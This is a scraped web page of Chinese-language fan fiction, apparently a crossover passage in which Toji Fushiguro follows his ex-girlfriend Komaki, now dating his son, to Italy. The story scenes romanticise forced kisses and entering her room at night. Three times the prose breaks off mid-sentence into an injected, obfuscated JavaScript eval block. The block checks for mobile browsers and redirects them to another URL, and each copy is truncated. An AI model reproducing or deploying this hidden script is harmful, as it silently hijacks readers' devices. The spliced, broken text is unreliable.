“如果确有神明,那么发生的一切就不完全是人类的责任了吧,他老人家得负担些。”小莳这么说,伏黑甚尔对她的俏皮话习以为常,没给反应。他心里其实是赞同的,因为他以前过得也不好,如果说不幸是神罚或者考验,那他绝对不会接受这种说法。天与咒缚、家族虐待、前妻死亡,他不信神,信了也没用。 伏黑甚尔做了一个梦。 他梦见了神明,神明和小莳一样对他说很多话。 “你的人生里可以称之为爱情的经历共计两段。其一是惠的母亲。是个温柔平和和你年龄相仿的好女人。她让你觉得包容受爱护,让你有家的感觉,所以你们结婚,生子,她是你在离开禅院家后的救赎。她确实可能是,如果那场不幸的事情没有发生。” “不过你或许听说过上帝已死的概念?当然,因为小莳和你聊起过。这无关它本所针对的基督教和宇宙秩序,只是如果你不信仰神明,又为何会把‘救赎’这种神学意味浓厚的词安置到人类身上呢?如果不存在神明,如果上帝已经死了,那只有你自己是自己的准绳,或许人和人可以扶持着生活,但视谁为救赎……凡人终有一死。如此一来,信仰崩塌,你也无法挽救自己的堕落。” “堕落没什么不好,算不上可悲。身为人类这件事情本身才是可悲,功成名就的一生和碌碌无为的一生若以千年为度量,是一样的渺小。人类路过蚁穴的时候,会去注意哪只蚂蚁搬东西比较勤劳,哪只没在干活吗?连它们宏伟的作品本身,都是不值一哂的垃圾堆:这是于我而言,可是对你来说,你选择了一条道路,以此身去贯彻它,就会错过其他路上的财富。你就是这样与小莳错身。” “她活泼,懒惰,自我,挑剔,不是你喜欢的类型,但漂亮又出手阔绰,你能察觉到她对你与旁人不同的依恋,你以为她是一个情人的适格者。无可厚非,一个总是尝试放弃尊严的人,他的心必定也会被各种自以为的理念蒙蔽。即便如此你还是对她产生了特殊的情愫,你忘不掉她的话,你没办法接受自己被拒绝,你会不受控制的想起她。你应该隐隐约约有发觉到,从那么早的时候,你就在告诉自己答案了。答案是你喜欢她。” “坦白说你应该多听听这些,那都是你的心在哭诉。但你又怎么能听见呢?你已经选择了一条舍弃脆弱也舍弃欢喜的道路。所以你【做出了一些令人误会的事情】,你是这么想有关女演员和她带来的一桩好生意的:小莳确实说过,说过你的轻浮,你的个性放荡,说你不会爱上任何人,这话简直比东京的诅咒还凶恶。所以看到克丽丝温亚德的时候,她几乎就一瞬间想好了整件事情的脉络,迅速判定你的不忠,甚至没有听解释就提出了分手。她是这样情绪化的另一半。” “真的是这样吗?都是因为她多疑多虑了?听一听你心里最深处的也最恐惧揭露出的答案吧。从头到尾这和女人都没有关系,和女演员没关系,和你此前的多任金主也没有关系。你心里此时已有答案,她不想要的是你,是冷漠、回避、怪脾气的你。原来你也不是她喜欢的类型,而她真的很挑剔。” 伏黑甚尔做了个梦,醒来后他不大记得梦的内容,只记得有个人一直在说话。 有点吵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413151|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在新年里。 他总是想起小莳,在他们还在一起的时候,他反而不太会主动,她会想好所有的事情,然后喊他一起。伏黑甚尔完全知道自己不太风趣幽默,身上也没什么乐趣所在,只要让他想出行的地点,一般只有餐厅和竞马场。他的精神较为贫瘠,这是应对苦日子的好招数。一个人也能轻松承担各种负面情绪,抵御焦躁和困难,一旦小莳对此稍加关切,他反而万分煎熬,这可能也是一种过敏。 他是一个无论生活怎么样都能活下去的人,是什么也不在乎的人,理应如此。可当他看见少女若无其事用拇指擦去她在男友唇边留下的水渍,然后转身舔了舔自己的嘴角说:“走吧,我们去吃点东西,有点饿了。”。她的男友则说:“五条老师给我推荐了一家店,离这里不远,那边……”两人手牵着手走远。那一刻,伏黑甚尔狼狈又痛苦。 自己和她的感情,变易于何时,伏黑甚尔看见房间的顶灯和天花板,也许是在他每一次回答“不知道,无所谓,不重要”的时候,也许是那一晚在京都的沉默。 后来她不怎么出行,大约因为悬赏风头正高,他几次在并盛看到她,又很快跟丢。他看到她的母亲,泽田奈奈,一个普通的主妇,每天几乎在相同的时间出门,买菜,回家,一个生活轨迹几乎是透明的女人。其丈夫却是一位不可小觑的强者,有几次甚至隐约感觉到了他的存在,从没真正发现过。 从夫妻的对话中可以听出,小莳和这位养父的关系并不好。不难想象,因为她以前也从未提起过这个世界的父亲。泽田奈奈的新朋友,一位两个孩子的单亲母亲,她的言行举止总让伏黑甚尔觉得熟悉,他有一次蓄意在路边撞了她……看到她手上拎着袋子里的葱和胡萝卜,伏黑甚尔觉得一切纯属自己的幻觉。 他只是太想念小莳了,所以看谁都有她的影子,大概。 后来他又在并盛撞见了孔时雨,对方正在搬运一些诅咒师,有个衣着奇怪的女人在他几米外站立,只是看着。 孔时雨的业务还真改善了。至于伏黑甚尔为什么能看出来这些尸体是诅咒师--奇装异服、各种钉子、怪发型,他的眼睛和脑袋问题不大。 他在离去时听见这个女人用沙哑的嗓音说:“这么想打听我的生活吗?我有男朋友了,你要是再年轻20岁咱俩说不定能成,可惜了,先生。” “可我还不到40。” “我就喜欢十几岁的男孩。” 她的形象她的声音配上这番话,让人联想到有小众爱好的怪人。可她的动作……她会用手指卷鬓边不存在的长发。 他停下脚步,跟着她走了一段,随后发现这个疑似小众爱好的女人离开后走在暗巷里变换了形貌,然后她去了泽田家。女主人不在,家中本该没人,她翻窗户的行为却被男主人打断。 “好久不见,这不是丧偶独自抚养小孩的坚强女人吗?” 伏黑甚尔就看到敏捷的身影脚下一滑,从二楼窗户外跌到了院子里。她的身手确实不够好。 他知道了小莳的精湛幻术,让她可以在数秒内改头换面。以及,她现在确实喜欢十几岁的男孩。 在那之后的一段日子她都没出现,直到与乙骨忧太的交锋后,她的悬赏几乎作废。而他也确认了自己的心意,无论是小莳和惠的约会交游,还是她和其他人的出行闲聊,不可避免的都会谈及她的情感状态。她喜欢伏黑惠,她并不羞于谈论自己的男友,她像展示令人骄傲的宝物一样提及伏黑惠,那些甜蜜的画面,褒奖的言辞,还有一些更亲密的动作,总能刺激他的想象。 而他最终窥到了自己可悲的内里,他爱着小莳,只是等他终于愿意直视这件事时,她的目光早就落到了别处。 还偏偏是他的儿子…… 伏黑甚尔如同在去年去私立百花王学园时一样打扮得体,甚至较先前更为细致。他与她偶遇,搭讪,挑破她精湛的伪装,他看见她眼中因他而起的慌乱,她没有厌恶而只是难为情又瞪得滚圆的一双蓝色眼睛,里面的水色是他午夜梦回时肖想的一切。 他向她解释自己的错误,郑重与她道歉,无论如何这都是他应该说的;他向她敞开内心的全部爱意,一股脑都说出来,大于他此前一年中的全部,这是他在发觉后就按耐不住的情绪。 她拒绝了他,请他忘了。 这是和预想之中一样的一步,可他发现自己并不如预想中一样冷静。在伏黑甚尔人生的时时刻刻中,再难有抵得过那日一样重要的时光。 他仔细观察眼前的女孩,她微眯着眼,身体刻意地为远离他撑在墙面上,可惜收效甚微,她的脸颊涨红,嘴唇严肃的抿薄。明明很没底气,表情却很唬人呢,倘若让步,岂不是在这种时候自断生机?伏黑甚尔决定发起进攻。 “你就那么喜欢那小子?” “你的小男友,他知道我和你的关系,他知道我们都在这里,他什么都知道。见到你的第一面,一见钟情,什么也不说。隐瞒我,欺骗你。”涩谷那天后他并没有留下任何联系方式,当然,这时候得挑拣有利的点说。 伏黑甚尔发现小莳的表情变得勉强,她的苹果肌饱满起来,她在尴尬,在难为情,是不好意思被戳破了吗?他于是换了个方向。 “而你,小莳,分手以后和我的儿子在一起了……这其中才过去了多久,两个月?” 她几乎要在墙上蜷缩成一团,如果不是被他环抱着的话。被人撞破的窘迫总能让人不知所措的狼狈,他最后说:“我希望你回来,他的话,如果你喜欢我也不介意。” 而小莳直接化作轻烟消失了。在那以后的三天伏黑甚尔都没找到她的痕迹,还和来打探情况的五条悟打了一架,对方毫发未伤,他的居室亟待重装。 小莳去了意大利,还和一个名为蓝波的男人游玩观光。五条悟说垃圾话的时候泄露的消息。不太擅长记男人名字的他实在想不出这又是哪位。 伏黑甚尔不会意大利语,也没有可以出国的证件……但小莳出了国,独身一人,所有人都联系不上她,包括伏黑惠。 伏黑甚尔不算有冒险精神,但他一向豁得出去。如今他决定了自己接下来的目的地--西西里。 84. 第 84 章 小莳接到尤尼电话的时候在品尝白兰力荐的酥皮奶冻。不得不说味道相当不错,是她以前没有尝过的新口味。 有一位伏黑先生在庄园等待她。 时间比小莳预想的还早些,据她所知,伏黑惠没出过国,办理相关的手续大概就需要10天,就算他神通广大,从第一天就知道她要离开日本,这会护照应该都没签发下来。 就算是免签,至少也得起码拥有一个护照。 难道是悟想办法帮他偷渡了?感觉像是他能做出来的事情。小莳并不讨厌本性纯良的伏黑惠能为自己突破一些可以称之为底线的东西。她买了两个罗马面包,一个草莓,一个青提,打道回府。 白兰问她有什么事,她有些得意:“我男朋友来找我了。” 但回到庄园后她说不出话来。能保持微笑和独自站立已经很棒了。 站在吉留涅罗领地上的伏黑先生是--伏黑甚尔。 “呀,看来你的口味和尤尼酱很像呢。”白兰两边反应一对比,就知道事情有点变故,他起了玩心,笑眯眯说出诛心的话:伽玛比尤尼年长那么十几岁。 小莳成了白兰快乐的源泉,她的心情不美丽:“闭嘴。” “不过我怎么听说男朋友比你小两岁,是误传吗?还是这孩子吃了些科技产品?” 面对火上浇油,小莳扭头给他一个狰狞的微笑:“再说一句话我今天就拿你开张。” 如果她现在扭头就走,尤尼一定会谅解她。可恶,她绝对知道甚尔是前任,可她还欣然请人进来喝茶,还打电话给自己,说“伏黑先生”! 不用风太,小莳深知现在不想见的人排行榜上第一位必定就是伏黑甚尔。 在逃跑和勇敢面对之间选择了直接回房。她的行李还在里面,其中就有她在日本的手机。如果要走的话,至少也要先把东西都备好。她直接越过了庭院里啜饮下午茶的优雅知性女人和她旁边的两人,一心一意只往城堡里铺设的红毯上走,好像他们皆是幻象。 伏黑甚尔很自然的和她问好:“下午好,小莳。面包看起来不错,给我带的吗?”他伸出了手。 她目不斜视:“下午坏。我的手上有两个面包,一个是我的下午茶点心,另一个还是我的下午茶点心。” 然后和尤尼打了招呼,她用眼神谴责:你怎么不把这家伙赶走。 对方暂时无法接听,尤尼歪了头,还给了她一个带着鼓励意味的微笑。悬着的心终于死了,小莳进入城堡,上楼。她的房间在二楼走廊尽头,她走在铺设的地毯上,什么声音都没有,突然听见身后传来低声轻咳。 真是阴魂不散。 “两个问题。”突发事件的应对能力她并不欠缺,现在也从几十秒前的惊愕中回过神来,小莳伸出两根手指。 “嗯?” “第一,你是怎么到意大利的?” 他回答的简短,“飞机。” 得了吧,海关根本没记录,而且伏黑甚尔怎么也不像有护照的样子。小莳回头斜眼看他,不说话。 伏黑甚尔对她露出一个堪称亲昵的笑,他走上前来缩短与她的距离:“好吧,找了一架夜间航班,反正经济舱满不了,只要晃过安检和检票员,海关也不是问题。没错,我偷渡了。” 小莳一脸“你在开什么玩笑”,她说:“认真的吗?”话没说完,她眼前的人一晃已经消失在眼前。 声音在她耳后极近的地方响起:“这对我来说不难。” 这一刻,小莳彻底理解了五条悟为什么会在高专时期被此人暗算成功。她决定原谅他了,有关伏黑甚尔的特别之处只有亲身体验后方能领略,如果是她被这样的人物理意义上深深伤害过,她一定不会在他面前放下警戒,永远也不会。 “第二个问题,你是怎么找到这里来的?”小莳不想回过头去面对凑在她面前的一张脸,她后退了两步,才转过来,现在是他挡在了她回房的路上。 “啊,一个记不清名字的男人告知了我你的方位,托他的福我搭上了辆车,四小时的车程,幸好没走丢。运气不错。” 是谁这么可恨,小莳用眼神督促他继续说话。 “真拿你没办法,但是他说如果你知道的话会杀了他的,所以……”伏黑甚尔没再说下去。 差不多得了,小莳不再搭理他,径直往房间走,边走边说:“好的,你可以走了,庄园一公里内就有公交车站。” “尤妮女士允许我留宿,小莳,不和我谈谈吗?” 还剩两米就到房门,她又被拦住了去路。 她说:“没有什么特别想和你谈的。” “真是冷漠,我可是很期待与你的再次见面。”能独自一人撑持起暧昧的氛围,伏黑甚尔缱绻的语调功不可没。他不愧为【专业人士】。 小莳忽略了心中涟漪,坚持把自己仅看做服务对象,目不斜视:“好的,知道了。” 她只能看见近在咫尺的宽厚的肩膀,当她移动时,他也如同镜中人一般跟着,阻拦她的去路。下个赛季去打NBA,按常理还能再打五六年。考虑到他特殊的身体素质,说不定还能干到40,羡慕死征十郎和哲也。 “你总要和我谈一谈。” “不。” 上一次见面匆忙之余还有些许虚荣心发作,现在只有吓飞了,她的灵魂已经不在身体里,开始放风筝。纠缠不休的前任约等于一屁股债,更不用说她还真算是欠了他。 没有亏欠就能直接赶人了。 真遗憾,小莳的心虚指数达到了意大利7日的峰值。也许她应该找个英语通用的国家待一段时间,她就说多学门语言没错,英国,美国,澳大利亚,这下就有三个洲可供备选。也许她能写一部地球漫游指南。 别慌。 “能劳驾让让吗?我赶时间。” “去哪?” 在一通左左右右之后,小莳对伏黑甚尔有了些怨气,她说:“随便哪个没有你的地方。” 伏黑甚尔动了,但不是挪开身子,他把小莳扣在墙上。墙壁是冷的,他散发的气息是热的,但她宁可让寒气顺着蜡白的墙面窜到脖子里。 “不行,我不同意。”伏黑甚尔的声音是一贯的低沉,但难得能听见紧张的情绪随言语流淌。 而小莳不需要他口头的许可,她准备效仿上次直接溜走。 他又怎么会不明白她的意图,只瞧她低垂的眉眼便知这是离别的前奏:“你欠我的,小莳。我救过你的命,你不能就这样走掉。” 这句话奏效,暂时。她抬起头,眼中错愕一闪而过:“……” 一般来说,小莳会称这种挟恩图报的行为为没品,不过这次受益人恰恰是她,也就丧失了发表高见的资格证,她只能说出那句毫无信服力且同样没品的话,内容和语调一样干巴巴:“没想到你是这种人。” “我也没想到,”伏黑甚尔的心情和小莳在此时恰巧达成了零和,他脸上是堪称愉悦的笑,“那是我为数不多的好人好事,你们会怎样描述它?那个词是怎么说来的,想起来了,奇货可居。” 小莳牵拉着嘴角勉强咧开一个弧说:“谢谢夸奖。”坏了,她成商人手里的潜力股了,上一次被当成筹码还是门外顾问那会。伏黑甚尔还真是最会带小孩的,一下让她想到了从前。 并非是美好记忆。 “你说我们只是分开一段时间,但从那时候起,你其实就打算彻底摆脱我了吧。” “也可能是在更早的时候。” “是我没有陪你去发廊那次?不是。那是去迪士尼那次?啊,也不对,那就是京都那次。” 伏黑甚尔的观察可谓细致入微,他观察小莳的反应,捕捉肢体和面部透露的信息,他得到了答案。他不通人性,但没人说他脑子不够好用。 “真早啊,看来说你变心倒也言过其实。毕竟我们已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在小莳看来,他口中的爱就和他的人生一样,没什么定性,今天可能有,明天或许没,而他能发现,却没感觉。自保与防卫意识只针对他人,伏黑甚尔反而对自我放逐的发生最没警惕心。 这种事情天天都在发生,这样的人也随处可见,没什么稀奇。 没用什么尖刻词汇和讽刺的语气,这话就直白的再次戳中伏黑甚尔的心,他露出一个能被她理解为伤心的表情:“我已经变了,小莳。” “你刚刚还跟我说我欠你。”说服力有限。 人【认为自己改变】,极其巧合,也是天天都在发生的事情,这样的人也随处可见,没什么稀奇。 “不是这样的,自从来了这里,我一直很--痛苦,我在想你,我很想念你。我过得不好,小莳。” 小莳性格中也有反社会的地方,她也不总会因为他人的痛苦而忧愁,比如此时,她给他分析:“第一,你和咒术师气场不和,在这里不开心再正常不过;第二,前任从条件一般般的中产美女突然变成世界顶级的人物,你的心理变化无论是什么都正常,毕竟好不容易卖了小孩才来的钱,别人随手就能得到,这样的落差太大,更何况是一个你原先稍微轻慢的人。听悟说你很讨厌他,但是在被干掉的时候,还是愿意勉强自己放下自尊托孤。很难说是什么样的父爱,但门外顾问以前想把我送进监狱,至少你是个心里有点爱的父亲,至少你做过对自己毫无益处的好事。请你再行个方便,如何?” 最后这句话相当冒犯。 小莳最后看见他的表情是皱眉,他问:“你怎么敢--” 她被迫接受了一个带血腥味的吻。起初被动嘴的是她,她推不开这个字面意思上牙尖嘴利的男人后索性也发动起咬合肌,最后她有反转术式,而他只是起了个头,并不像她一样凶……伤口分别在上唇,舌侧和嘴角。 在伏黑甚尔嘶声说出“再给我一次机会”这样示弱的话后,小莳撇开脸,没受阻拦地回房。 85. 第 85 章 小莳在晚餐时间特地没出房间,她隔着门婉拒了尤尼的温柔邀请,说有面包吃。 “小莳,逃避是没有用的。” 这是一句预言?还是劝告?无论如何从有超直感的人嘴里说出总非好事,俄狄浦斯王知晓了悲剧仍然无法避免,可见窥探太多反而造成思想的困扰,现在的她情愿不问。 只是说:“没有一个面包能活到第二天早上,这就是我的面包观。遇到我算它倒霉。” 门外的女性发出轻笑,小莳听到脚步声走远后才安心躺回床上玩手机。经过仔细的思考,她还是没有告诉男友关于今天的事情。一是无用,二是不想,三是……隐瞒这种事也不是只有她做嘛。 她心安理得。 夜里睡觉的时候她撞进一个温暖的怀抱,下意识蹭了蹭,那人的手在她头顶揉了揉,将她揽进怀里。小莳转了个身,把人踹下床。幸好这房间的装潢是典型的简约复古风格,只配设了1.2的床,多亏了尤尼一向走亲民路线,不然他这么大的身板大概踢不下去。 “你怎么进来的?”小莳下意识往门的方向看去,她记得有锁门。 “放心,窗户我已经关好了。”伏黑甚尔撑着地毯,目光看向小莳同侧书柜旁的窗户。 她睡眼惺忪晃了晃脑袋,没想好说什么:“……” 他起身,坐到床沿,就要抱小莳,她的胳膊尝试过把人抵开,但这次拒绝被忽略,随即她的每一次呼吸都打到他裸露的皮肤上。 “你以前从不那样和我说话。” “怪我,该早点展露真我的。”小莳两只手把他撑开,她用上了咒力--在强化□□的时候它效用巨大。 她成功了。 伏黑甚尔说疼,小莳不在乎,她说回房就不疼了。摸手机看时间,现在是半夜一点,距离她入睡已经过去三个小时。他以前是她的男友,现在只是个会扰人清梦的男的。 “听着,不管你想做什么--” “我想你再给我一个机会,我想和你在一起。” “谢谢,我不想。首先,我不信任你,其次,我不想念你,最后,我不喜欢你。” 伏黑甚尔打断她:“你喜欢我,你喜欢我的,小莳。” 她说:“以前喜欢,现在喜欢别人了。” “确实,可你并非对我毫无感觉,我说的是现在。” 小莳沉默了,她总是对想起前任是的情感避而不谈:其中淡漠居多自不必多言,冷处理总是有效,至于其他的,也许她会不屑撇嘴,也许她会默默想起以前的事。 过了一会她说:“潮水会涨落,由于天体的引力,它们会涨到沙滩的边沿,就像我确实有一阵子很喜欢你。但挺失望的,就不那么喜欢了。正好你和别人一起上了报纸,顺便就这样结束。” “可是那是误会,我和她什么也没有。” “那我和惠之间就不是误会了。我们有很多。至于我和你……因为巧合而交往,因为误会而终结,也谈不上不合时宜。认真经营的失败感情才叫兰因絮果,去年的我和你最多是始乱终弃。” 她甚至不愿意说我们,伏黑甚尔低下头:“我爱你啊。” 以前没什么人和小莳说过爱,无论真假。她挺感动的,回应了一句:“哦。” 伏黑甚尔问她:“我们会一起吃饭、一起看电视、一起逛街、同游很多景点、共享一些旅程,你说过你会对我好的。不要这样好吗?小莳。” 这句话就像过期的招待券,小莳就是专业的售货员,她称辩:“我都做到了呀。”她在京都和米花过得不算随心自由,但对他还行,不纠缠,不发怒,不疑神疑鬼。 伏黑甚尔这时才说出最核心的那句话:“你说我从来没有想到为之做什么,我承认,即使受指责我也甘愿。可小莳,你什么都清楚,你什么都放任,在这点上严守界限,你什么都没有说。” 他在那之后比小莳想得更多,更仔细,他意识到了在很久以前自己在交往中感受到的违和感,来源于她从不与他争论的微笑背后,从来遵循分际的冷眼与不干涉。 这一刻她从睡梦中彻底清醒过来,片刻间她想了很多用以反驳的说辞,最后临时准备的话一句也没用上,只是想,糟糕,被他说中了。 她紧张得浑身僵硬,偏开视线的动作都生硬。 “这样的你,算是做到吗?” 好的,小莳问心有愧,一年前的回旋镖终于还是打在了身上。她的嗓音又回到了干巴巴的状态,说:“哦,知道了,你请回吧。” 伏黑甚尔走了,他听说没有面包能活到早上,代为分担了牙印明显的两个半个面包。“看来你更喜欢青提味,我觉得它们都一样。” 小莳在思考自己从窗户逃走的可行性,最后她还是乖乖躺回冷掉的床铺继续睡觉。 次日早餐时分她接受了来自伽玛的问候,尽管不太乐于在伏黑甚尔面前开启一段聊天,她仍坚强回应:“睡得还行,谢谢关心,今天我打算去首都。” “嗯?” “嗯,旅游。”小莳一刻也不打算多等,她中午就出发,不坐火车,不坐渡轮,直接飞机。“我的梦想就是去那不勒斯看看。什么好地方让莉拉一辈子不想离开。” 其实她知道不是这样的,小莳只是随便说点有趣的反话。她很喜欢七海说过的两句话,第一句是劳动和咒术都是狗屎,第二句是大家一样烂,那就选在擅长的领域发烂。说着摆烂的话,却做了战士,战士最终都会回到战场,再不离开。 但她没去成,机票都没买,伏黑甚尔的存在牵绊住了她。她只去了镇上,还是乘巴士去的,身边还跟了个前男友。昨天热衷于掺和的白兰今天去了平行世界旅行,他在走之前还说着那不勒斯明明也不在罗马,小莳想打他。 罗马到那不勒斯1小时的火车距离在白龙速度下也就是一个街区到另一个街区的距离。 走在阳光直射的长步道上,小莳手里拿的是新买的冰激凌。她也偶尔才来镇上,对这里的店铺一概不了解,让她自信购买的秘诀仅仅只是:有背包墨镜客人排长队的地方坚决不去。不能相信游客的盲从,他们自己都不知道自己买的东西品质是否配得上等待时间。思绪漫游,她已经习惯了后面跟了个不说话不碍事的尾巴。 在经历了一段时间的相安无事后,伏黑甚尔开口了,他说:“这里的和日本不太一样。” “社会福利还行,物价房价也不算离谱。压力比亚洲是小些,居民的面貌也更悠闲。”小莳随意应和。 “我们以前也会像这样在街上走。” “……”小莳战术性挠头,比起叙旧她明明更擅长断舍离,偏偏甩不掉,可她还没想好该怎么面对伏黑甚尔。 “怎么不说话了?” 不知道,要不你自己反思下话术问题?小莳摸了摸鼻子,最终决定主动权还是掌握自己手上的好,逃避固然是个备选项,但逃不掉就是加倍的折磨。她问他:“你有多喜欢我?” 他在开口的同时手指伸向她的脸,被后退一步躲开,“不仅仅是喜欢,我爱你,小莳。” 伏黑甚尔缩回手的时候小莳才意识到他是想帮她抹掉嘴边挂着的一点冰激凌。这答案还挺有趣,也是快三月的时候,她曾经问过同样的问题。 两次的回答几乎算完全相反,两次都不合她意。小莳沉吟片刻,很快下定决心,于正午的金光下,她的身后是彩色的房子和小巷,她说:“谢谢,但我不想回应你的感情,首先我有了一个进展还不错的男朋友,最近没打算离开他,以后可能也不会;其次你们是直系血亲,如果不干脆利落像吃gelato一样快速解决大家都会很狼狈,而我会像个变态,我不想像个变态;最后我并不爱你,不打算为了你破坏原则。老实说所有人的童年各有各的不幸,我无意攀比,但我小时候过的也不太好,我也有点爱人方面的障碍,所以伴侣的话一个就好,我觉得小惠不错。” 两人有一段时间都没开口。 “你--” 小莳担心他说出什么令大家一起尴尬的话,赶紧打断他急急忙忙说:“就像咒术的残秽和酸奶杯里喝不掉的最后一口,一年的感情当然也会在我身上留下痕迹,但那终究只是一段记忆,你不应该把它当作行动的依据。忘了吧,甚尔。” 她说完以后回想了一下,确认没什么过激内容,稍微放心,但还是低下头去搅动纸碗里半化的甜品。柠檬味一向是她钟爱的口味,今天特地要了两个球,现在经她一动变成了奶昔。 “那你为什么不抬头看我?” 她不理他,专注程度堪比村口玩泥巴的小女孩。 “小莳,”他的裤腿和鞋面出现在她低垂的视野中,小莳也后退,“你每次让我忘掉的时候,看上去都很--” 她步子稳稳当当,但伏黑甚尔不按套路出牌,没等她像预期一样在巷口转身融入人流里,他就闪到她身前,稳当接住了不慎滑落的纸碗,并将人圈在臂弯里。 他们在十厘米内目光相对,没任何阻拦,她的眼里还有没调整过来的惊愕。一切发生的时间很短,短到他的话语只有一息停顿,他也确实发出了一声清晰的叹息,然后凝望小莳说:“眼里都有哀愁。” 她几乎是下意识嘴一撅:“我没有。” 不管有没有,此时此地此情此景就该说没有! 他试图凑近亲吻她,被小莳空闲的一只手捂住了嘴。而他没有揽着她的另一只手此时正托本属于怀中少女的物什。 伏黑甚尔将她的冰激凌丢在地上,和烟头与石板作伴。 “你乱扔垃圾。” 他的左手继续禁锢小莳的身躯,解除封印的右手使了巧劲扭开小莳力气不小但于他而言班门弄斧的手,他不想伤到她。 低头,偏转角度,伏黑甚尔又吻上了令他魂牵梦萦的柔软嘴唇。 两人在海岸线逗留到夕阳黄昏,小莳右手两指间挑弄一根烧了一半的细烟,最后吸了一口,也是唯一一口,趁热将它塞进沙里埋了。她接过伏黑甚尔自觉递过的补偿款开心果口味,木勺挑了一大块囫囵塞进嘴里。 “你在看什么?”这个时间海里已经没有船,远处的远处,还是一望无际的海平面。 “在遥望我的故乡,那不勒斯。”2019早春限定款故乡,今天才定的。 “你什么时候开始抽烟的?” “今天。总体感觉不如gelato,文字的欺骗性可见一斑。”无论是促进精神稳定分泌多巴胺,还是抒发忧愁,还是成熟魅力,她都没发现,反而觉得自己如果鼻子冒烟一定很丢人。 “没被呛着,挺好。” “笨蛋才会被呛到吧,别书里讲什么都信。”小莳现在是真愿意承认自己哀愁了,她把蛋卷筒塞回伏黑甚尔手里,吃不下第三口。 想逃到其它地方去的心情在序列里居高不下。她多少有些不敢面对伏黑惠,幸好这几天她没在和他聊天,现在她成那个和前任纠缠不休又不敢和男友坦白的摇摆女人了。 小莳想,如果她能选,一定会选让伏黑甚尔和她分隔两个世界,她一点也不想主动找他。可他就在这里。小莳拍拍手站起来。 他问:“现在去做什么?” 叹了口气:“吃晚饭去。”忘了谁说的,人的灵魂源自天体与恒星永不熄灭的火,永不熄灭的火到了地球也得吃饭,问就是强龙难压地头蛇。麻烦的事情饭后再想,不然一个小女孩就要轻轻的碎了。 反正也想不出结果。 小莳晚上只吃了半份carbonara,这算是罗马风味,伽玛做的,为了帮她缓解乡愁。她觉得这只是先做了面再想出来的说辞。忧心忡忡的晚餐后,她拒绝了尤尼夫妇的电影邀请。 少女忧心忡忡,愁得头发都白了:“总感觉良心上过不去。” “没事,我以前也别扭过一段时间。人总会明白她真正想要什么的。”伽玛这么说,说话的对象是他老婆。 小莳觉得这不是一回事,至少她和伏黑惠在一起的时候几乎没有心理负担。艾丽娅要是还活着伽玛就该哭了。 亲密关系是永恒的难题。 回房后她盘腿坐椅子上,又转移阵地到了沙发,兜兜转又倒在床上,辗转几十分钟,一条消息也没发出去。伏黑甚尔敲门进入的时候小莳正在和手机屏幕深情相望,他不怎么费力就看见了聊天框的另一位:伏黑惠。 “我没让你进来。” 他无视了抱怨,问她:“在想怎么和他说我们的事情吗?” 小莳警惕:“我们没事,你不要乱讲。” “哦,那你和他说今天下午我们没事的接了吻,你回吻了,你还喜欢我。这对你也算无事发生吗?” “我没有。” “没有什么?” “什么都没有。”小莳烦躁熄了屏,“你能出去了吗?” “你要和惠分手吗?” “完全没有这个打算。”她回应的超快,“天杀的我要找移民局把你遣返回去!现在,滚出去。” 伏黑甚尔躲过了小莳杂来的枕头,准头不太好,他还弯腰将它捡了起来,拍干净递给她:“脾气真大。” 她一把夺过,扔在床边:“再大的脾气都是因为你冒昧的出现。” 伏黑甚尔现在倒乐意纠正她的说辞了:“是因为你还对我……”在心仪对象的怒视中,他住口,改了说法“是我不好。” 示弱也不能令小莳快乐起来,她也是这两天才意识到自己不如所期待的那样平和。哪怕和伏黑甚尔的感情已经过去挺久,她在某些时刻呈现出来的还是与坚定所相反的品格。 期待自己有坚忍的韧性和不屈的意志什么的……简直像是悲剧命运的懦弱主人公会做的事情。 比起男友发现、接下来的一地鸡毛、前任的纠缠,这才是最令她苦恼的点:在她以为自己可以掌控的时候,又一次做了与理性相悖的选择。 对象还是她吃过亏的故人。 她不喜欢这样。 小莳把伏黑甚尔赶走以后将门窗都锁上,确认过后才回到床上,给伏黑惠发了消息,问他什么时候能来。然后她才想到这会东京才五点,在她睡前很可能得不到回应。 她翻起先前伏黑惠给她发的消息,她之前都没看。大约是一些硬挤出来的日常,能够很明显的看出他根本不习惯闲聊,也可能是不擅长得不到回应的独角戏。 小莳觉得自己有点过分。惠是个很不错的男孩,辜负一个好人并不让她觉得愉快。 在她浏览到最下的时候,却发现对方回复了她的消息,他说很快,他说他十分想念她,说他很抱歉。小莳本来一般的罪恶感因为一条条跳出文字攀升。坏了,她想,她现在难以负担这份赤诚的喜欢。 难得鬼使神差并不是最糟糕的,因为她还得处理接下来发生的事情。 已读不回必有苦衷:有一个好消息和一个坏消息,你想先听哪个。 伏黑惠:坏消息……吧? 已读不回必有苦衷:那就有点刺激了,不过既然你这么说。 已读不回必有苦衷:一天前我前男友来了 对方发起语音通话,小莳一慌点了拒绝。 已读不回必有苦衷:你还想听好消息吗? 伏黑惠:你说的好消息,是不是其实也是坏消息? 伏黑惠:你可不可以接我电话 伏黑惠:小莳,你是不是……还喜欢他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 